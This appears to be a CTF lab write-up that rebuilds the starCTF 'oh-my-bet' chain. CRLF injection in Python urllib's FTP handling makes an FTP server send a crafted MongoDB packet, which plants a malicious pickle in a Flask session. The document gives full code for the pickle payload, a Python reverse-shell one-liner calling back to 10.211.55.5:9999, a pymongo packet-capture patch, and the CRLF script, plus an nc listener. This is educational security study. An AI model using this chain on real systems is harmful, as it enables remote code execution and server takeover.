Article Directory
1 background
Recently, I am trying to do oh-my-bet in starCTF, and I need to use CRLF vulnerabilities to control FTP to send data packets to mongodb to modify the content in mongodb. I tried to build a simple environment manually to realize the general process.
2 Environment setup
Use two virtual machines + host machines to implement the entire process:
- Host (Web server)
- Virtual machine (server used to attack)
2.1 Build a mongo environment (host and virtual machine)
Both the host machine and the virtual machine need to build the mongo environment. In order not to overlap with the host's mongo, I use port 27018
docker run -itd --name mongo -p 27018:27017 mongo
2.2 flask (host)
#!/usr/bin/env python
# -*- coding:utf-8 -
from flask import Flask, session
from flask_session import Session
import pymongo
app = Flask(__name__)
app.debug = True
app.secret_key = 'f4545478ee86$%^&&%$#'
app.config['SESSION_TYPE'] = 'mongodb' # session 类型为 mongodb
app.config['SESSION_MONGODB'] = pymongo.MongoClient(host='127.0.0.1', port=27018)
app.config['SESSION_MONGODB_DB'] = 'admin'
app.config['SESSION_MONGODB_COLLECT'] = 'sessions'
# 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_PERMANENT'] = True
# 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_USE_SIGNER'] = False
# 保存到session中的值的前缀
app.config['SESSION_KEY_PREFIX'] = 'session:'
Session(app)
@app.route('/')
def index():
session['name'] = 'slug01sh'
return 'hello mongo'
@app.route('/get')
def get():
b = session.get('name')
return b
if __name__ == '__main__':
app.run()
The flask Application There are two paths /
and/get
/
Session can be initialized/get
The session can be taken out of mongo (deserialization will be performed)
Visit http://127.0.0.1:5000 and check the console to get the session as: 922b2d8f-26c8-4146-8742-9d62b3988a17
2.3 mongo data package (virtual machine)
Generate the mongo data package in the virtual machine and save the binary file to the root directory of FTPD. (Here, I abbreviated some steps. In oh-my-bet, you need to upload the file to the FTP server first, save it as a file, and then send it to mongo. Here I directly generate the data package and save it to FTP Server)
Pymongo need to modify the packet before generating the network.py
file, to capture packets. Use the following command to find the location of pymongo.
python3 -c "import pymongo;print(pymongo.__file__)"
Run to find the path of pymongo
Use the sendall keyword to find
before try, add the code as shown in the figure:
if b'session:' in msg:
e = Exception()
e.message = msg
raise e
Finally, the mongo data package (binary file) is generated in the directory of the ftp server
from pymongo import MongoClient
import pickle
import os
# 构建反序列化
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
# 获取mongo的请求包
def get_mongo(cmd):
client = MongoClient('127.0.0.1', 27018)
coll = client.admin.sessions
try:
coll.update_one(
{
'id': 'session:922b2d8f-26c8-4146-8742-9d62b3988a17'},
{
"$set": {
"val": get_pickle(cmd)}},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
packet = get_mongo(
cmd="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.5",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")
print(packet)
file = open('slug01sh', 'ab')
file.write(packet)
Remember to modify the above session (mongo finds users through session) and cmd (commands that will be executed during deserialization).
Run the script to generate the mongo data package
2.4 FTP server (virtual machine)
FTP server source code
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")
handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer
server = FTPServer(("10.211.55.5", 8877), handler)
server.serve_forever()
Operating status:
3 Attack
Prepare CRLF script
import urllib.request
def get_port_cmd(host):
ip, port = host.split(':')
ip = ','.join(ip.split('.'))
port = int(port)
return f'port {ip},{port // 256},{port - port // 256 * 256}'
if __name__ == '__main__':
# 向本地的FTP发送消息
target = '10.211.55.5:8877'
# FTP的消息
commands = ['type i', get_port_cmd(host='10.211.55.2:27018'), 'retr slug01sh']
commands_str = '\r\n'.join(commands)
commands_str = urllib.parse.quote(commands_str)
url = 'ftp://fan:root@'+target+'/\r\n'+commands_str
urllib.request.urlopen(url)
Python version that can run the script:
- Urllib in Python 3.x to 3.7.2
Run the CRLF code, you can see that the FTP server in the virtual machine shows that the transmission is successful
Use Navicat to connect mongo, observe the collection, you can find that you can judge whether the update is successful by the length of val.
Use nc -lvp 9999 in the virtual machine to wait for the rebound shell, and use a browser to visit http://127.0.0.1:5000/get